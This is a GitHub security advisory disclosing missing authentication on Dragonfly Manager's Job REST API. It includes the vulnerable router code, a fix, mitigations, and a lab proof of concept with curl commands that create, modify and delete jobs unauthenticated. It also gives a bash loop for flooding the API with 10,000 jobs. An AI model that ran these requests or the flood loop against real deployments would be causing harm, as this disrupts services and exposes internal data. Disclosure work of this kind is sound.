GHSA-j8hf-cp34-g4j7 — v2

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

• Product: Dragonfly
• Component: Manager (REST API)
• Affected Versions: v2.x (based on source code analysis, including v2.4.0)
• Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

1. List all jobs (GET /api/v1/jobs)
2. Create new jobs (POST /api/v1/jobs)
3. Query job details (GET /api/v1/jobs/:id)
4. Modify jobs (PATCH /api/v1/jobs/:id)
5. Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.

Proof of Concept

Environment Setup

Prerequisites

• Kubernetes cluster (Kind/Minikube/GKE, etc.)
• Helm 3.8.0+
• kubectl
• curl and jq

Deployment Steps

1. Add Dragonfly Helm Repository

helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/
helm repo update

1. Generate Deployment Manifest

helm template dragonfly dragonfly/dragonfly \
  --namespace dragonfly-system \
  --set manager.replicas=1 \
  --set scheduler.replicas=1 \
  --set seedClient.replicas=1 \
  --set client.enable=false > /tmp/dragonfly-manifest.yaml

1. Deploy to Kubernetes

kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output:

namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met

1. Setup Port Forwarding

kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output:

[]

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command:

curl -s -X POST http://localhost:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://example.com/test-file.txt"
    },
    "scheduler_cluster_ids": [1]
  }' | jq .

Actual Output:

{
  "id": 2,
  "created_at": "2026-01-17T16:34:22.497Z",
  "updated_at": "2026-01-17T16:34:22.497Z",
  "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
  "type": "preheat",
  "state": "PENDING",
  "args": {
    "type": "file",
    "url": "http://example.com/test-file.txt",
    "scope": "single_seed_peer",
    "timeout": 3600000000000
  },
  "user_id": 0,
  "scheduler_clusters": [
    {
      "id": 1,
      "name": "cluster-1",
      "is_default": true
    }
  ]
}

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output:

2
"preheat"
"PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command:

curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
  -H "Content-Type: application/json" \
  -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output:

2
"Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command:

curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output:

200

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command:

curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output:

{
  "message": "Unauthorized"
}

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at:

• Script: poc.sh
• Output Log: poc_output.log

Execution Summary:

[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE
[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)
[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)

Impact Analysis

Direct Impact

1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations)
2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic
3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services
4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

1. Resource Exhaustion Attack

# Create 10,000 jobs to exhaust resources
for i in $(seq 1 10000); do
  curl -X POST http://manager:8080/api/v1/jobs \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" &
done

1. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)

2. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

• Manager API exposed on the public internet or untrusted networks
• Malicious users or compromised systems in internal networks
• Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

// Before Fix (lines 204-211)
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

// After Fix
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

1. Network Isolation: Restrict network access to the Manager API

   • Use firewall rules to limit source IPs
   • Only allow trusted internal networks to access
   • Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication

2. API Gateway: Deploy an API gateway in front of Manager for authentication

   • Use reverse proxies like Nginx/Kong/Traefik
   • Configure OAuth2/JWT validation

3. Monitoring and Alerting: Monitor abnormal access patterns to Job API

   • Log all Job API calls
   • Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output:

{
  "message": "Unauthorized"
}

Appendix: Complete Verification Logs

Deployment Verification Logs

$ kubectl -n dragonfly-system get pods
NAME                                 READY   STATUS    RESTARTS   AGE
dragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m
dragonfly-mysql-0                    1/1     Running   0          5m
dragonfly-redis-master-0             1/1     Running   0          5m
dragonfly-redis-replicas-0           1/1     Running   0          5m
dragonfly-scheduler-0                1/1     Running   0          5m
dragonfly-seed-client-0              1/1     Running   0          5m

$ kubectl -n dragonfly-system get svc dragonfly-manager
NAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE
dragonfly-manager   ClusterIP   10.96.240.126   <none>        8080/TCP,65003/TCP   5m

POC Execution Complete Logs

See poc_output.log file for details.

==========================================
VUL-001: Job API Unauthenticated Access POC
==========================================

[Test 1] GET /api/v1/jobs (No Authentication)
HTTP Status: 200
Response: []
✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication)
HTTP Status: 200
Job ID: 2
✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication)
HTTP Status: 401
Response: {"message":"Unauthorized"}
✅ EXPECTED: Endpoint correctly requires authentication

==========================================
POC Execution Complete
==========================================

Patches

• Dragonfy v2.4.1 and above.

Workarounds

There are no effective workarounds, beyond upgrading.